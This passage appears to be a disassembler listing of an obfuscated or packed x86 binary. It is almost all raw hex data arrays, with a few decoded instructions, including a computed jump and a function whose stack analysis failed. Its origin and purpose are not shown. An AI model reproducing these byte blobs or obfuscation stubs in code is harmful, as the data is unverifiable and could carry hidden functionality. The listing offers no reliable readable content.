		dd 0DA8B4E20h, 1D9CC499h, 29B02C6Bh, 0C6A34887h, 4E40353Ah
		dd 2304D56h, 43E30000h,	17CD4C00h, 38ED6CE0h, 17CC4BFFh
		dd 35D75EDAh, 384442F6h, 73E726CAh, 4C0041E4h, 6ADE19CDh
		dd 4BFF34EBh, 15AD5C60h, 0F16BDA39h, 7E3228F4h,	530C8B3Fh
		dd 0D71CAA1Eh, 0E9AC7296h, 4D9C98Fh, 77895261h,	0FC7D9FB4h
		dd 79185567h, 0CAC0DE14h, 65D7CBA0h, 3C471CA6h,	587CF894h
		dd 6607D2ACh, 0D8F57125h, 3C47932Bh, 0A2417294h, 7AFA8647h
		dd 0F36639h, 0E1580000h, 2105F12Eh, 7932804Ch, 5BDE5044h
		dd 0FB376A7h, 0E76DCC7Ch, 0C992678Bh, 0C19B4D27h, 0D5F1D50Ah
		dd 1F37A21h, 0FF16DCCh,	3387A61Ch, 0A2473E92h, 5608D69h
		dd 74EA5AF2h, 25DE5572h, 6BD3CF0h, 2AE1FFD1h, 9233BC98h
		dd 0DBCBA07Ch, 90316C61h, 20B4402Eh, 0C01BBA4Bh, 0D33EFBAEh
		dd 6CC89803h, 0E9DD0EF0h, 0F029E072h, 9A3B2004h, 58A5C2D9h
		dd 90CB7FC1h, 83FE5E4h,	33F608ECh, 9E15BCE6h, 89FE9B80h
		dd 5A5F015Dh, 0BC6B5FECh, 0A4C0A47Fh, 155D0FCAh, 30C5E39Ah
		dd 9C10341Fh, 0BF2C6B1Dh, 40343718h, 0B776034h,	0BE000001h
		dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh
		dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h
		dd 6BDA3AC2h, 32FFC522h, 0C4FDA47Eh, 6F236405h,	0DC5BCFF3h
		dd 603AEE23h, 0DEFB34D9h, 44793246h, 5D923950h,	0E310B883h
		dd 0CC7C9A28h, 0C29E7A6Dh, 8D6552CEh, 0EB48C61Ch, 0A17B4318h
		dd 8F9CC4ACh, 6C1F7047h, 6DCCF5D6h, 390E322Eh, 21C50DACh
		dd 0C405A872h, 3B6754D0h, 334D2929h, 0CA78334Dh, 2A6DCC3Dh
		dd 0B172192Eh, 5567F672h, 0F5AE2DD9h, 7663DFCAh, 0AA619426h
		dd 94267618h, 0F47020FCh, 49825CD0h, 0D710D44Fh, 0EB688599h
		dd 4413FF34h, 0F411C3F7h, 35FC932Ch, 56E5598Eh,	0D8C78ADh
		dd 1D431D5Ah, 0EE076930h, 4433CB31h, 0B41A28FEh, 7B76D8E1h
		dd 0F4ACAFB4h, 31A36378h, 54E7E382h, 0DD5673AEh, 0BE3DF126h
		dd 9942C705h, 0FCA8E387h, 49B15378h, 0F4A00B7h,	3563F33h
		dd 0A6000000h, 80326D5Fh, 9952493Dh, 7519B064h,	9E4F463Ah
		dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
		dd 52CF5541h, 0C281E289h, 4, 8704EA83h,	248B2414h, 0E6895624h
		dd 4C681h, 0EE830000h, 24348704h, 243C895Ch, 5E08950h
		dd 4, 8704E883h, 895C2404h, 3F682434h, 5F061638h, 390E68h
		dd 24248900h, 4240481h,	5E000000h, 89F98951h, 0C8B084Eh
		dd 4C48124h, 8B000000h,	89532434h, 4C381E3h, 83000000h
		dd 1C8704C3h, 34FF5C24h, 0C4815F24h, 4,	0FA384BE9h, 8A9D14FFh
; ---------------------------------------------------------------------------
		or	[ecx-3Bh], dh


loc_5AFC93:				; CODE XREF: sub_5AEB29:loc_5AEC19j
		mov	eax, 61647A4h
		add	eax, ebp
		jmp	eax
sub_5AEB29	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 19F43D82h, 8BD95EAh,	1FA75C2h, 69C8D6E9h, 7B5C4A1Eh
		dd 4479FD2Eh, 25E51D1Eh, 19AD9645h, 104852BAh, 0B08DAFDh
		dd 13D3F6E6h, 1C16BF94h, 0BA35E2Bh, 720B46Eh, 33B37AB9h
		dd 11E303C7h, 8DB4866h,	21C043E8h, 0F7B22D3h, 36CF123h
		dd 68AC1AD8h, 1AAE9h, 0DA3BE200h, 0D52C2703h, 0B198D31Ah
		dd 0CAD1D746h, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh
		dd 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch
		dd 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h
		dd 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh,	0BCFA9753h
		dd 5CCD45C9h, 0E56CA191h, 10000ACh, 43h	dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 0Ah dup(0)
		dd 0E9000000h, 0FD8h, 164C0368h, 0AAE906h, 3068FFFBh, 0E906164Dh
		dd 0FFFB00A0h, 164E8A68h, 96E906h, 5868FFFBh, 0E906164Fh
		dd 0FFFB008Ch, 16506F68h, 82E906h, 4B68FFFBh, 0E9061651h
		dd 0FFFB0078h, 1651F068h, 6EE906h, 6D68FFFBh, 0E9061652h
		dd 0FFFB0064h, 16537168h, 5AE906h, 0EA68FFFBh, 0E9061653h
		dd 0FFFB0050h, 16548168h, 46E906h, 4F68FFFBh, 0E9061655h
		dd 0FFFB003Ch, 16560F68h, 32E906h, 5868FFFBh, 0E9061657h
		dd 0FFFB0028h, 16589968h, 1EE906h, 3A8DFFFBh, 0F6EADB88h
		dd 3F96673Ch, 0EFE5D88Dh, 4595683Dh, 9E66D68Bh,	580DC71Bh
		dd 0E5BA7465h, 570CBE18h, 0E6BB7566h, 69087306h, 0EC1DDE8Fh
		dd 3D5AA652h, 8494604Bh, 867F2020h, 0A5F49B55h,	961AEDB6h
		dd 2EE6AA3h, 0B2A0014Eh, 7288F3CAh, 0F51DD894h,	163D8A09h
		dd 0B911B869h, 0D936F0Ah, 0FCBE9390h, 31h, 5EA95A44h, 17C8453Bh
		dd 0B0416A1Ah, 7803FA82h, 1DD8456Ah, 1562610Dh,	11B8447Eh
		dd 8C47E251h, 8C33EDDDh, 0BF25BDDEh, 0AEBE93B8h, 107h
		dd 4D075CF2h, 29E3F746h, 0AB085BAAh, 66510B3Eh,	17C844D3h
		dd 0BFBE9282h, 0FAA76172h, 0C84A380Dh, 5F194A17h, 0D690C332h
		dd 0F3E856B7h, 509D24DEh, 441044F6h, 4FD0026Dh,	25D61DD8h
		dd 0B832B7DAh, 0ADEE9E11h, 682236C7h, 334BEE99h, 1A0A11B8h
		dd 0D30A7746h, 335EF17Eh, 7F711B8h, 3986345Bh, 61446D27h
		dd 53AAD280h, 0CAEA9AA8h, 0C231DD17h, 8E651F33h, 79FF92DDh
		dd 97560BA5h, 0BADD6748h, 317ED2ACh, 0BB676620h, 0B140B3F2h
		dd 3EC7E8A2h, 8954520Ch, 0CFE21638h, 0D6834CCh,	6590000h
		dd 9AAEFF54h, 0B42B3E0h, 0A3B90C59h, 151A4F1h, 5A2A1A47h
		dd 9CC983D7h, 0D17E3829h, 6B38EAE4h, 0C28F499Ah, 55E48FE2h
		dd 1DDE91h, 0A95AB266h,	3150025Ch, 451F3285h, 463617C8h
		dd 0F0AAA025h, 470152A3h, 0DD7C0778h, 9B17C844h, 401B4F82h
		dd 9686EC5Eh, 601B90D5h, 3ADECB59h, 31EF52F8h, 38318698h
		dd 4896D49Dh, 0C330BF1Ah, 17C844B4h, 6F02F5A1h,	0E617C845h
		dd 1D3CC736h, 3817C845h, 5EA9184Ch, 1DD845CCh, 1B3EC93Ah
		dd 3A11B845h, 80FFB9A9h, 57DD7ED2h, 4E7DD006h, 0ED94C094h
		dd 0B8448BA2h, 0D48D4411h, 93B798FEh, 0B589BEh,	5AE10000h
		dd 0B93F6C3Dh, 3E5F390Fh, 0B3DA94C7h, 0C152A764h, 0DA51B2D3h
		dd 641E3491h, 174D125Dh, 263517C9h, 95C6376Ch, 0DACCB38h
		dd 0FDA917C9h, 9BC72AA9h, 93EF0CE3h, 0A7776472h, 8AF5CE8Fh
		dd 1DD90E48h, 81721FCFh, 9B22DCF4h, 1F43AEEFh, 9AE79867h
		dd 58068D47h, 0A5A1B017h, 0C8B417CBh, 9C568CF9h, 5385F4C7h
		dd 234CFA99h, 0F6B0A2h,	0E215790Fh, 3B9E3635h, 2C00000Ch
		dd 0E1D48133h, 8D6035EFh, 0ECD98638h, 0A4113EF0h, 0CD9FF4AEh
		dd 763022E5h, 0CB85DC29h, 7D2F2796h, 0CC86D528h, 39C61597h
		dd 1DDE9216h, 5CF9A13Fh, 0A6174C06h, 4D075AB5h,	5C1E4C19h
		dd 0F5464D07h, 7EDD8986h, 38A594A2h, 0C885AACDh, 0B2FBAB17h
		dd 58A30053h, 17C88639h, 6F24701Ch, 0D21DC46Ah,	17C885BFh
		dd 43BAE696h, 862847B4h, 412D17C8h, 3E58A320h, 211DD8A8h
		dd 6A014E75h, 6511B864h, 0F95F33EEh, 0E8BE9398h, 69h, 3AF4EC99h
		dd 1A483971h, 8BDC8B62h, 8B32ECDEh, 458514DFh, 24D017C8h
		dd 67CE8C7Bh, 0BC491DD8h, 36E4EBA5h, 7518636Ah,	5A11B822h
		dd 0F2784AE3h, 0E3BE93D6h, 31h,	0F584EF80h, 6011B819h
		dd 48BFEBB4h, 0E08B621Ah, 1DD8692Ah, 12CCFD6Ch,	969EBF6Bh
		dd 0F99CE7E6h, 0D611B820h, 6EF4CE67h, 5FBE93DBh, 7, 81413A3h
		dd 48970000h, 0DC8B621Ah, 0B71A708Bh, 0DE10767Bh, 0C9148413h
		dd 0A516D117h, 9A8B32DBh, 106A7FBh, 1DDE9569h, 2EBB32E2h
		dd 0BF2E631Dh, 4AABD28Ch, 0A251A0E4h, 4A49FB53h, 0EFF4D39Ch
		dd 7A17C849h, 95C6338Ah, 243786DBh, 5C02636Ah, 802ED928h
		dd 0BF11ABC2h, 53AD9CFh, 6968E830h, 0AE1D3h, 0CB7DD200h
		dd 77312796h, 0D082DB2Ah, 681A3283h, 0DE98CA3Bh, 30F3C3B1h
		dd 0C233601Ah, 2D80D58Fh, 0CB3A6719h, 33B1DE98h, 934453A0h
		dd 0B7111DDEh, 46375EC3h, 0AF9317C8h, 0E79BE8D7h, 0D31DDE8Ch
		dd 0AB895AB8h, 0C0E11C55h, 169BC8B4h, 125D5428h, 17C85572h
		dd 97E6DDC9h, 0D8277B44h, 9DA60980h, 3A299CC9h,	0B2A00180h
		dd 0AF4F56BBh, 2B1EE66Fh, 82712571h, 0B1C6F4F5h, 18631411h
		dd 5853679h, 56F30DCh, 0AA59AA19h, 358BAE59h, 0DACA0585h
		dd 853648E7h, 40610D05h, 0E5DC96C5h, 0E7884298h, 0C11C2F7Eh
		dd 0AED58Fh, 4DE22D54h,	81858536h, 0AD5AA9DDh, 8B9542E3h
		dd 0CD8AD8B3h, 0FA34521Bh, 0D5D3C3B1h, 6E46A020h, 1355EB6Eh
		dd 400000Ah, 794C19CBh,	5F8AD67h, 84711ED0h, 0FCC99648h
		dd 5772CE6h, 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h
		dd 71FE4D4Fh, 1DDE93DEh, 4831D977h, 0E08B621Ah,	1DDE8E3Ch
		dd 41B0FFEFh, 0BA0B5812h, 7100EFA9h, 701EA55Fh,	7BC6E215h
		dd 0F2BBC9D3h, 0AAD280E1h, 0E280A853h, 0C4C317C7h, 8FB01867h
		dd 3CB3DF70h, 0AFE49EADh, 5C530D3Eh, 8706B80Dh,	0A00192DBh
		dd 803A29B2h, 0B992DDD4h, 1011B239h, 98BEC55h, 55105FDh
		dd 520C3FAEh, 1BB0E5Bh,	0DA8BD482h, 0AB9DF8EBh,	9D4EA5F1h
		dd 85D53F52h, 99661605h, 0C3D09143h, 19D30574h,	24A3CC7Ah
		dd 585D511h, 2F195B9h, 9C1D9175h, 0C0D6B10Bh, 0DF91CB81h
		dd 4F32E0h, 0E376012Fh,	72FF7037h, 0A78DCE82h, 6A7908F7h
		dd 0C112E3B0h, 0CA378807h, 35E1E092h, 0A5D9856Ch, 8081A14Eh
		dd 0CABA0586h, 88FC62C3h, 0E092CC39h, 805235E1h, 0A0E2159Dh
		dd 95E2E18Ah, 0FF69D54Fh, 2FF6F4A0h, 55FA7208h,	8FCBE56h
		dd 0DAED0000h, 568A7B28h, 0DFF6C79Ch, 4F85782Dh, 0E5F5C89Dh
		dd 3E06762Bh, 0F8AD677Bh, 451AD405h, 0F7AC5E78h, 461BD506h
		dd 0C9681366h, 8C1DDE94h, 0A95A4632h, 0C8453B5Eh, 276A1A17h
		dd 21FB276Ah, 0E1E48DA2h, 4A9938F2h, 0E5ECA6BBh, 3E8D7839h
		dd 695FD84h, 0EFA9BA6Bh, 79AA30A2h, 0C9BB883h, 0EF000000h
		dd 1B3AB5Ah, 4A41C60h, 47640000h, 0C9103EE5h, 0A55358CEh
		dd 269171F5h, 17C8DA13h, 0AFFE5242h, 0D8FE1644h, 3515011Dh
		dd 0C487196Ah, 8DF15DE4h, 0DD8FC736h, 5C6708B6h, 0BD01C10Fh
		dd 67661644h, 22756918h, 0A14D742Eh, 7F20CEF5h,	49B8CC72h
		dd 0B04C21BEh, 5D54403Eh, 5401BB10h, 0FA157261h, 7990A5CFh
		dd 771AED92h, 0DE328894h, 0CB84622Eh, 0F1BB3321h, 820DA72h
		dd 0BE110000h, 7266570Ch, 0C31AEBB8h, 5B714411h, 0D909FCA9h
		dd 3202721Fh, 0F4A15B6Fh, 4916D001h, 0E3B0627Ch, 5A07C112h
		dd 0DD7C075Ah, 781DDE95h, 0AB5A2ADEh, 660DECB5h, 49A6A59Ah
		dd 6271541Dh, 86DC29A8h, 2C1297CCh, 691A6958h, 0C8F77B1Eh
		dd 0D52ADA17h, 1FA8C983h, 1DDF3FD1h, 58A71606h,	0AE3D5CA7h
		dd 6C1811B2h, 0D791C243h, 6E283B8Ah, 3C40EE4Fh,	0F70E3AC5h
		dd 493517C8h, 1ED80B7Ah, 0DBF38271h, 0B3FCAA29h, 48470152h
		dd 0A1538AF7h, 0DA2B7422h, 621C2D88h, 5E3AF5Bh,	0E21F502Eh
		dd 7B67FD7Ch, 6C000007h, 2194C173h, 0CD20752Fh,	2C99C678h
		dd 0E4D17E30h, 0D5F34EEh, 0B6706225h, 0BC51CE9h, 0BD6F6756h
		db 0E8h, 15h, 0C6h
byte_5B067F	db 0Ch			; DATA XREF: sub_559C84-496Ao
		dd 79065557h, 1DDE95D6h, 4839E17Fh, 0E08B621Ah,	1DDE8E48h
		dd 7C1B68FBh, 0D911B1FCh, 0FB8A792Dh, 94612EE8h, 9BFE853Fh
		dd 8FE0CFB7h, 0FC0493E0h, 0A55111B1h, 238392E2h, 426BE8C3h
		dd 0C1678BC5h, 0C3F00B17h, 2A5D94D4h, 0E08CA8C9h, 1A7B390Ah
		dd 6C0487E2h, 6FEh, 7926D8EFh, 0C59A548Ch, 762BDDF8h, 0C69B4D87h
		dd 7C29E3F7h, 65753808h, 0D207F6ABh, 647A4B18h,	0BB10DDB2h
		dd 1505401h, 0DE96E376h, 24D4721Dh, 464D075Ch, 0A32AE4F7h
		dd 1C2DBC3Bh, 0EEAF5B62h, 5A893CF5h, 79DFF3A0h,	68B883B3h
		dd 7, 2BC13C0h,	5C970000h, 0E3464D07h, 4BB8077Fh, 1DDE8F23h
		dd 540E42AFh, 54E0812Dh, 0B0AC59A8h, 8AD37FFEh,	3FF9EADBh
		dd 5082EF40h, 224BF796h, 0A0F5AFA3h, 0F2AC9E4Bh, 621A48A9h
		dd 8FDC8Bh, 0E611B1FBh,	0E6943BF5h, 0F0D39C88h,	0C843CA83h
		dd 78473717h, 0AE687A07h, 0DA8CC20Fh, 125B07B3h, 0B9E6A0B3h
		dd 31AC4D4Ah, 0F15422F9h, 347D29DBh, 0C9C882D1h, 0D70B667Ch
		dd 9CC8761Dh, 0C7AE94F5h, 0A6585E07h, 239AC611h, 520827D4h
		dd 0A14D0B9Bh, 5740300h, 0C7731AD4h, 5F8F21A6h,	0AA5711ABh
		dd 0B26C5EB9h, 0C7B7BDDEh, 306F86F1h, 17ADACE8h, 5FAh
		dd 0D42F4EBh, 0A1EEA8A0h, 1A47F954h, 52FFB1ABh,	0E0B56F63h
		dd 0F1E1A48Ch, 469B6A37h, 0F0E6D78Ch, 0AFA4113Eh, 0AD3CA0F5h
		dd 0DE982F42h, 0E0C8261Dh, 0B6AC075Ch, 6E29D5FCh, 91E4FD5Bh
		dd 6A693D76h, 6F0EC81Bh, 26DD9807h, 88527769h, 8A918C5h
		dd 5A73CEFDh, 297D29A8h, 0A800667Ch, 7F1B883h, 39000000h
		dd 13913h, 75C9700h, 6FEA6F4Dh,	3130D5F3h, 5819Bh, 0AB5D7200h
		dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh,	50D3A391h
		dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 97E47300h
		dd 0D7711DDEh, 4D075C23h, 2AE4F746h, 19C3BA3h, 0AEA4FF54h
		dd 7521CDF4h, 0B424AA20h, 1215B883h, 6D000000h,	0D513h
		dd 5181F000h, 1394D697h, 0CAh, 621A4897h, 8F48E08Bh, 0BFB1DDEh
		dd 493D2184h, 14330D7Ah, 27B417C2h, 9A557C2Eh, 10F6E8Eh
		dd 2F1A560h, 0A240E275h, 0CF83730Bh, 19736AD9h,	23B9B8E2h
		dd 4EAh, 7DD284DBh, 315E1830h, 8AD789C4h, 226F213Bh, 90C57FD3h
		dd 151D49Ch, 0B6AB1A47h, 56A7FCh, 9FB4014Eh, 9D2CB0E5h
		dd 0DE993F52h, 0D0B8161Dh, 8B621A48h, 0D893D2E0h, 7665141Dh
		dd 39C615BCh, 11B7F716h, 5A034F3Fh, 15489DAh, 454C18D2h
		dd 87F6CD99h, 4DF99852h, 0C60D410Ah, 0DE7FC427h, 597996E5h
		dd 1DAE2E2Fh, 0DAF9B3A5h, 588B782Ch, 0CD08FD9Eh, 1CE7A41Bh
		dd 0F9A6A13Ch, 6F402546h, 11B829DDh, 4916D003h,	10AF617Ch
		dd 45978h, 1A481000h, 48E08B62h, 0FB1DDE8Fh, 3D21840Bh
		dd 7A097A49h, 0B1FB6A0Dh, 0C83BEB11h, 11B1FAA9h, 249FC0ACh
		dd 7E3026D3h, 0BD0A53FFh, 17C21363h, 0C9229884h, 0F7E219D2h
		dd 41CDC74h, 0BA0D0000h, 766A5B08h, 0BF16E7BCh,	6F65580Dh
		dd 0C515E8BDh, 1EE6560Bh, 0D88D479Bh, 653AF4E5h, 0D78C3E98h
		dd 663BF5E6h, 0E988F386h, 6C1DDE99h, 1A4826D2h,	4CE08B62h
		dd 0FF1DDE8Fh, 21A05A6Eh, 23D22175h, 0DC297630h, 0DA352C87h
		dd 0D27ED284h, 0FDE44AABh, 0B1FADF72h, 0CB867611h, 0B5DA7E8Dh
		dd 368DD9F2h, 0C2F2CAC5h, 4BCAF233h, 96F17365h,	0ADEED956h
		dd 0C79BC15Ah, 5FCA817h, 5AA96378h, 0B2FBB5ABh,	17D102F3h
		dd 55291578h, 0ED01A15Eh, 2F12CC04h, 6D1AD1C5h,	723F28Fh
		dd 358ECF83h, 0AA611CCAh, 0D43B211h, 0EDDD2C53h, 363E5F33h
		dd 80FFB1A5h, 0D5287ED2h, 1BE83166h, 35C0098h, 0FA4D0000h
		dd 0B6AA1B48h, 0FF56A7FCh, 0AFA5184Dh, 555A8FDh, 5E26164Bh
		dd 98CD87DBh, 257A3425h, 97CC7ED8h, 267B3526h, 0A9C833C6h
		dd 0AC1DDE9Ah, 75C6612h, 0E4F7464Dh, 0CE74752Ah, 26BC47B6h
		dd 411DD85Ah, 4AE12E55h, 9411B82Fh, 0B0FD843Eh,	9EB13E9Bh
		dd 0B711B82Eh, 3FF49BC7h, 1591A540h, 0A92F039Eh, 98BE93C9h
		dd 4Fh,	621A48F0h, 45E2E08Bh, 0D5241DD8h, 94DFCE80h, 11B84505h
		dd 79FBA450h, 6159368Dh, 113086A6h, 0A42BE5FBh,	0D201AAF6h
		dd 23DDF481h, 42FC4D9Ch, 0D37A4D0Eh, 0FC11B910h, 50D6AC45h
		dd 41BE92EBh, 106h, 53E691E2h, 211B905h, 5C214912h, 7764D07h
		dd 3D5617D1h, 0A120DAF0h, 3E45FF54h, 0F47FDCEFh, 17C84565h
		dd 615004F0h, 7B02BC14h, 0E4D78ECFh, 4549E893h,	600C17C8h
		dd 4977C83Fh, 0D80B17C8h, 4F84711Eh, 7F611E95h,	453E808Fh
		dd 63C6CD8Eh, 0CB3887FFh, 1DD7F9D5h, 6C6D22D2h,	80EFBEC6h
		dd 5ABB883h, 0ECD9254Dh, 0E6943BF5h, 0B6A742C5h, 0EE9E17CAh
		dd 0CF0170FFh, 85C06E15h, 3988B40Fh, 0F1D49D9Ch, 897A27E1h
		dd 842DE7FCh, 21975181h, 0E215F6C8h, 13F58B0Eh,	4000002h
		dd 794C19CBh, 5F8AD67h,	84711ED0h, 0FCC99648h, 5772CE6h
		dd 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h, 71FE4D4Fh
		dd 1DDE9BDEh, 5A31D977h, 675FB2ABh, 34E2E1B5h, 7F489A6Bh
		dd 4AB93664h, 0DD7C072Bh, 7817C8F8h, 358CD88Ch,	0E9D892C8h
		dd 0C8F8FB9Eh, 1AA5A17h, 0A70251A4h, 1DDAF9B3h,	0BD93410Ah
		dd 297D296Ah, 1A482E7Ch, 0E2E08B62h, 241DD845h,	0AFCE80D5h
		dd 303FAC03h, 2511B845h, 503C3879h, 454FE631h, 378F11B8h
		dd 9BAFFE85h, 0F063E2E1h, 0EC52135h, 0B8197F53h, 0F708BE93h
		dd 60000000h, 5DB2AB5Ah, 0C8457F12h, 7A26D617h,	1F9E5085h
		dd 88DB2A73h, 1160AFCEh, 0D6840BBDh, 44FD9CE7h,	0AC5817C8h
		dd 16D00203h, 49DB2C77h, 0EAA517C8h, 5F6551E0h,	3FC6E75Ch
		dd 0AEFD520Ch, 0B54063Fh, 0D0EFA9BAh, 6D1AC16Dh, 17C804CAh
		dd 0F8C79B8Bh, 0D818158Bh, 7CD4211Dh, 4E0FBBC2h, 886936E6h
		dd 9C4BA2DAh, 1C45F74Dh, 0CAA6A5ABh, 75027117h,	0BA53BE2h
		dd 3BE27502h, 83730BA5h, 0C4B0F19Dh, 469CE9D8h,	0F4E6D78Ch
		dd 27E39E2Bh, 52FEC36Eh, 17512D54h, 0C0585BE2h,	0D2h, 85DA8CC3h
		dd 39662038h, 0B2DF91CCh, 0A570943h, 0B8EDA7BBh, 2939FCC4h
		dd 7ED3226Fh, 281E8FC4h, 87DC2976h, 0C51498CDh,	0DE9D173Ah
		dd 0F8A03E1Dh, 0B6AB065Ch, 0AC59A8FCh, 28D6FDB7h, 7CCF1E87h
		dd 2BD82D21h, 17C8450Ch, 8A095D49h, 89F83CCDh, 0EEA242D2h
		dd 4C18D201h, 0AB5A4B17h, 28D6FDB7h, 934D7E87h,	53AE9DECh
		dd 913D44FEh, 250990C5h, 0EC759261h, 0E9A3B76Bh, 21593CEAh
		dd 0B70C55F5h, 0F0AAB948h, 0F6BF58AFh, 0F2A21DDEh, 934D7ECBh
		dd 0EF7EEDBEh, 0EF9B22DCh, 0B2667504h, 6B34E011h, 0F08F499Ah
		dd 7EC730A3h, 944DBE17h, 6B38F2E1h, 0F08F499Ah,	0DAF9ABA1h
		dd 4AFBB62Dh, 70E65019h, 0FE89AEF7h, 9BB0FD52h,	34AE2E1h
		dd 5E000000h, 35CBFEBh,	0F0E33251h, 144A9736h, 0BB0E5B62h
		dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h
		dd 51945170h, 0BB53E189h, 4, 835BD901h,	0C8704E9h, 89575C24h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 241C895Ch, 2FCE68h
		dd 243C8900h, 164ACF68h, 241C8B06h, 4C481h, 8B540000h
		dd 0C483243Ch, 89575504h, 5FFD89DFh, 5D086F89h,	53243C8Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 34FF5C24h,	0C4835B24h
		dd 0F0EAE904h, 5B49FFFAh, 94063450h, 39D8320Bh,	137A00C8h
		dd 165990B8h
		dd 0FFC50306h, 7DABE0h,	0BCE3B908h, 849E5A5Bh, 24D9DE21h
		dd 56150632h, 5625AE7Eh, 5FC6455Eh, 0D0E20A0Dh,	62A6B138h
		dd 0D694387Bh, 1D8D8D23h, 8906165Bh, 100081BDh,	0F58D8906h
		dd 6A061009h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 1D61C350h, 5EDC9724h, 1985C7C2h
		dd 74061023h, 6A00006Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0C759C356h,	1022C185h
		dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 11B0F45h,	0E63FA03h, 1651958Bh, 9570610h
		dd 100E2995h, 0B5FF5B06h, 61004E9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 19C35141h, 9F31BA41h, 0BD8B3CAEh
		dd 6102D51h, 2DB995FFh,	6E90610h, 0FC000000h, 8FA8654h
		dd 0FF006A41h, 1031C995h, 0EBC08B06h, 0BAEC1D18h, 0EE40E43Eh
		dd 9D5532B6h, 0BCEFD641h, 0FDFF5323h, 0DFEF0F59h, 14E835h
		dd 40900000h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h, 6CD383A9h
		dd 0BD8BBB46h, 6101D11h, 0C38B6659h, 6221C181h,	0B8660000h
		dd 0D233B92Eh, 4ADBD89h, 348B0610h, 0AE911h, 51EE0000h
		dd 0F2645A7Fh, 0CEEDE3E1h, 0C961EE81h, 81F511ABh, 0D09E22F6h
		dd 0DFB70F0Eh, 0B3ECF681h, 81563B27h, 502B81F7h, 0E9565B63h
		dd 6, 2ECB2266h, 48FEA81h, 0BF0F6011h, 8FCFBFC9h, 8B613260h
		dd 101E459Dh, 4EA8306h,	2205BD8Bh, 0FA810610h, 0FFFF9EA0h
		dd 16850Fh, 0CF800000h,	29E9DCh, 0BD670000h, 6B90E018h
		dd 53FC66A3h, 0B003F86h, 0E9C38B66h, 0FFFFFF7Eh, 1FA8FA26h
		dd 38E1194Eh, 18EE0A00h, 5339253Bh, 0E9DCB42Dh,	29h, 5E96A1Ch
		dd 9 dup(0)
		dd 5A5E900h, 4BFB0000h,	1FC55408h, 40E574E8h, 1FC45307h
		dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h
		dd 2397CC73h, 0ED555428h, 96BDA20h, 793220ACh, 0F0A9633Bh
		dd 7B317990h, 50442044h, 0B90900DEh, 5D6DCCA6h,	0BD6FEC01h
		dd 0DC12E575h, 0FD00ED24h, 0DE1BD0E3h, 2E122E32h, 0F44FB7Ah
		dd 8CC97E3Dh, 7B0BB772h, 6FEB6DCCh, 762DAC5Ah, 8E365541h
		dd 0AF10AB57h, 255A1110h, 0CC76354Bh, 286DCC7Bh, 30A72F4Ch
		dd 0C8B3F7Ah, 15671B56h, 7B8240EBh, 6626DCCh, 86C76AF1h
		dd 0DA79089Ah, 0F06CA75Bh, 39F2C269h, 0D6791004h, 0C799BD99h
		dd 7B50F299h, 97926DCCh, 6DCC7B2Bh, 0C39F4FCBh,	0A253B996h
		dd 895ECA06h, 7318A39Dh, 0DD6A2136h, 626DCC2Eh,	0E627C261h
		dd 0C6336AE3h, 76h, 5FE3A6B8h, 0F06DCC3Ah, 2905FD3Ch, 0A9D77854h
		dd 0CC7C4002h, 0B3C8A46Dh, 564A7F28h, 79AE55E4h, 0D7D4A98Dh
		dd 6DCC7C69h, 777211B2h, 336B3636h, 116h, 0A9D77400h, 573E7F32h
		dd 6DCC7CEBh, 813A0F0Bh, 0E9E094CBh, 26180C43h,	95B2F193h
		dd 782C691Eh, 5EC75E45h, 309279A6h, 0D46DCC7Ch,	69627C58h
		dd 6B582707h, 8942F903h, 0A7C4A054h, 0CAFFA82Fh, 7E32780Eh
		dd 8C34533Fh, 852AA155h, 8B3D5C48h, 7E25584Ch, 4F863EE7h
		dd 17A27673h, 0E94D3972h, 0A701AC04h, 0B2C7B599h, 86587211h
		dd 0CC923F83h, 7E5BD76Dh, 58D413B5h, 1F52AE1h, 0D0AAE38Ah
		dd 782C6309h, 761FDFFCh, 7A43A63Dh, 5A336A45h, 77h, 338F7A64h
		dd 0D36DCC98h, 3C868557h, 0D86DCC98h, 32A57F5Ch, 0C3FEA47Eh
		dd 2DD4F39Fh, 566D00F4h, 93D276BFh, 0ADECA017h,	0F02DE2F9h
		dd 81205304h, 1E2A0845h, 18B6442Dh, 0FD813C43h,	6361336Ah
		dd 0AB000000h, 533F7E32h, 79538E34h, 89D2CE54h,	5E25D86h
		dd 0FFBAA619h, 35F1348h, 77BE55E6h, 382296D5h, 0E75313h
		dd 2244400Fh, 40E83D31h, 2CE1587Ch, 324ED6F3h, 84F437Ah
		dd 6DCC7CBFh, 0E99DDC90h, 44033AF2h, 39B460A1h,	3605CB6Ah
		dd 0C20BEE85h, 0A2336B35h, 0Ah,	0E877AF9Ch, 0CA2296DCh
		dd 7B3217ADh, 90374E42h, 7B30A75Bh, 8E33523Eh, 0B50EA155h
		dd 7100B21Eh, 23E6F8D2h, 6DCC7C9Fh, 55DEFB77h, 5EC377B0h
		dd 0BF6A8457h, 67FC065Ah, 4544302Ch, 66F5699Eh,	623AEDBDh
